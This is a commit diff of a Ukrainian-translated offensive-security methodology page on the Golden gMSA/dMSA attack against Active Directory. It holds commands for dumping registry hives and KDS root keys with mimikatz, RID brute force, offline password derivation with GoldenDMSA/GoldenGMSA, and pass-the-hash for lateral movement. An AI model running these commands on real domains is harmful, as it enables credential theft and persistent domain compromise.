Translated ['src/windows-hardening/active-directory-methodology/golden-d

This commit is contained in:
Translator 2025-07-21 22:29:33 +00:00
parent 130467d733
commit 2088ab4096

View File

@ -4,7 +4,7 @@
## Огляд ## Огляд
Керовані облікові записи сервісів Windows (MSA) це спеціальні принципи, призначені для запуску сервісів без необхідності вручну керувати їх паролями. Існує два основних типи: Керовані облікові записи сервісів Windows (MSA) це спеціальні принципи, призначені для запуску сервісів без необхідності вручну керувати їх паролями. Є два основних варіанти:
1. **gMSA** груповий керований обліковий запис сервісу може використовуватися на кількох хостах, які авторизовані в його атрибуті `msDS-GroupMSAMembership`. 1. **gMSA** груповий керований обліковий запис сервісу може використовуватися на кількох хостах, які авторизовані в його атрибуті `msDS-GroupMSAMembership`.
2. **dMSA** делегований керований обліковий запис сервісу (попередній перегляд) наступник gMSA, що спирається на ту ж криптографію, але дозволяє більш детальні сценарії делегування. 2. **dMSA** делегований керований обліковий запис сервісу (попередній перегляд) наступник gMSA, що спирається на ту ж криптографію, але дозволяє більш детальні сценарії делегування.
@ -15,13 +15,12 @@
* Цільового облікового запису **SID**. * Цільового облікового запису **SID**.
* Переконаним **ManagedPasswordID** (GUID), знайденим в атрибуті `msDS-ManagedPasswordId`. * Переконаним **ManagedPasswordID** (GUID), знайденим в атрибуті `msDS-ManagedPasswordId`.
Виведення виглядає так: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240 байт блоб, який в кінці **base64-кодується** і зберігається в атрибуті `msDS-ManagedPassword`. Ніякий трафік Kerberos або взаємодія з доменом не потрібні під час звичайного використання пароля член хоста виводить пароль локально, якщо знає три вхідні дані. Виведення: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240 байт блоб, який в кінцевому підсумку **base64-кодується** і зберігається в атрибуті `msDS-ManagedPassword`. Ніякий трафік Kerberos або взаємодія з доменом не потрібні під час звичайного використання пароля член хоста виводить пароль локально, якщо знає три вхідні дані.
## Golden gMSA / Golden dMSA Attack ## Golden gMSA / Golden dMSA Attack
Якщо зловмисник може отримати всі три вхідні дані **офлайн**, він може обчислити **дійсні поточні та майбутні паролі** для **будь-якого gMSA/dMSA в лісі**, не торкаючись DC знову, обходячи: Якщо зловмисник може отримати всі три вхідні дані **офлайн**, він може обчислити **дійсні поточні та майбутні паролі** для **будь-якого gMSA/dMSA в лісі**, не торкаючись DC знову, обходячи:
* Логи попередньої аутентифікації Kerberos / запитів квитків
* Аудит читання LDAP * Аудит читання LDAP
* Інтервали зміни паролів (вони можуть попередньо обчислити) * Інтервали зміни паролів (вони можуть попередньо обчислити)
@ -29,13 +28,14 @@
### Передумови ### Передумови
1. **Компрометація на рівні лісу** **одного DC** (або Enterprise Admin). Доступ `SYSTEM` достатній. 1. **Компрометація на рівні лісу** **одного DC** (або Enterprise Admin), або доступ `SYSTEM` до одного з DC в лісі.
2. Можливість перерахувати облікові записи сервісів (читання LDAP / брутфорс RID). 2. Можливість перерахувати облікові записи сервісів (читання LDAP / брутфорс RID).
3. Робоча станція .NET ≥ 4.7.2 x64 для запуску [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) або еквівалентного коду. 3. Робоча станція .NET ≥ 4.7.2 x64 для запуску [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) або еквівалентного коду.
### Фаза 1 Витяг KDS Root Key ### Golden gMSA / dMSA
##### Фаза 1 Витяг KDS Root Key
Витяг з будь-якого DC (Тіньове копіювання томів / сирі хаби SAM+SECURITY або віддалені секрети): Вивантаження з будь-якого DC (Копія тіньового тому / сирі хаби SAM+SECURITY або віддалені секрети):
```cmd ```cmd
reg save HKLM\SECURITY security.hive reg save HKLM\SECURITY security.hive
reg save HKLM\SYSTEM system.hive reg save HKLM\SYSTEM system.hive
@ -43,16 +43,25 @@ reg save HKLM\SYSTEM system.hive
# With mimikatz on the DC / offline # With mimikatz on the DC / offline
mimikatz # lsadump::secrets mimikatz # lsadump::secrets
mimikatz # lsadump::trust /patch # shows KDS root keys too mimikatz # lsadump::trust /patch # shows KDS root keys too
# With GoldendMSA
GoldendMSA.exe kds --domain <domain name> # query KDS root keys from a DC in the forest
GoldendMSA.exe kds
# With GoldenGMSA
GoldenGMSA.exe kdsinfo
``` ```
Базовий рядок base64 з міткою `RootKey` (ім'я GUID) потрібен на наступних етапах. Базовий рядок base64 з міткою `RootKey` (ім'я GUID) потрібен на наступних етапах.
### Фаза 2 Перерахування об'єктів gMSA/dMSA ##### Фаза 2 Перерахування об'єктів gMSA / dMSA
Отримайте принаймні `sAMAccountName`, `objectSid` та `msDS-ManagedPasswordId`: Отримайте принаймні `sAMAccountName`, `objectSid` та `msDS-ManagedPasswordId`:
```powershell ```powershell
# Authenticated or anonymous depending on ACLs # Authenticated or anonymous depending on ACLs
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \ Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
Select sAMAccountName,objectSid,msDS-ManagedPasswordId Select sAMAccountName,objectSid,msDS-ManagedPasswordId
GoldenGMSA.exe gmsainfo
``` ```
[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) реалізує допоміжні режими: [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) реалізує допоміжні режими:
```powershell ```powershell
@ -62,10 +71,10 @@ GoldendMSA.exe info -d example.local -m ldap
# RID brute force if anonymous binds are blocked # RID brute force if anonymous binds are blocked
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
``` ```
### Фаза 3 Вгадати / Виявити ManagedPasswordID (коли відсутній) ##### Фаза 3 Вгадати / Виявити ManagedPasswordID (коли відсутній)
Деякі розгортання *видаляють* `msDS-ManagedPasswordId` з ACL-захищених читань. Деякі розгортання *видаляють* `msDS-ManagedPasswordId` з ACL-захищених читань.
Оскільки GUID має 128 біт, наївний брутфорс є недоцільним, але: Оскільки GUID є 128-бітним, наївний брутфорс є недоцільним, але:
1. Перші **32 біти = Unix epoch time** створення облікового запису (з роздільною здатністю в хвилинах). 1. Перші **32 біти = Unix epoch time** створення облікового запису (з роздільною здатністю в хвилинах).
2. За ними слідують 96 випадкових бітів. 2. За ними слідують 96 випадкових бітів.
@ -76,15 +85,13 @@ GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUI
``` ```
Інструмент обчислює кандидатні паролі та порівнює їх base64 blob з реальним атрибутом `msDS-ManagedPassword` збіг вказує на правильний GUID. Інструмент обчислює кандидатні паролі та порівнює їх base64 blob з реальним атрибутом `msDS-ManagedPassword` збіг вказує на правильний GUID.
### Фаза 4 Офлайн обчислення пароля та конвертація ##### Фаза 4 Офлайн обчислення пароля та конвертація
Як тільки відомий ManagedPasswordID, дійсний пароль знаходиться в одному командному рядку: Якщо ManagedPasswordID відомий, дійсний пароль знаходиться в одному командному рядку:
```powershell ```powershell
# derive base64 password # derive base64 password
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswordID>
# convert to NTLM / AES keys for pass-the-hash / pass-the-ticket
GoldendMSA.exe convert -d example.local -u svc_web$ -p <Base64Pwd>
``` ```
Отримані хеші можуть бути інжектовані за допомогою **mimikatz** (`sekurlsa::pth`) або **Rubeus** для зловживання Kerberos, що дозволяє здійснювати прихований **бічний рух** та **постійність**. Отримані хеші можуть бути інжектовані за допомогою **mimikatz** (`sekurlsa::pth`) або **Rubeus** для зловживання Kerberos, що дозволяє здійснювати прихований **бічний рух** та **постійність**.
@ -99,13 +106,15 @@ GoldendMSA.exe convert -d example.local -u svc_web$ -p <Base64Pwd>
## Інструменти ## Інструменти
* [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) реалізація посилання, використана на цій сторінці. * [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) реалізація посилання, використана на цій сторінці.
* [`Semperis/GoldenGMSA`](https://github.com/Semperis/GoldenGMSA/) реалізація посилання, використана на цій сторінці.
* [`mimikatz`](https://github.com/gentilkiwi/mimikatz) `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`. * [`mimikatz`](https://github.com/gentilkiwi/mimikatz) `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`.
* [`Rubeus`](https://github.com/GhostPack/Rubeus) pass-the-ticket з використанням похідних AES ключів. * [`Rubeus`](https://github.com/GhostPack/Rubeus) pass-the-ticket з використанням похідних AES ключів.
## Посилання ## Посилання
- [Golden dMSA обхід аутентифікації для делегованих облікових записів керованих служб](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/) - [Golden dMSA обхід аутентифікації для делегованих облікових записів керованих служб](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/)
- [gMSA Атаки Active Directory на облікові записи](https://www.semperis.com/blog/golden-gmsa-attack/)
- [Репозиторій Semperis/GoldenDMSA на GitHub](https://github.com/Semperis/GoldenDMSA) - [Репозиторій Semperis/GoldenDMSA на GitHub](https://github.com/Semperis/GoldenDMSA)
- [Improsec атака на довіру Golden gMSA](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) - [Improsec атака довіри Golden gMSA](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}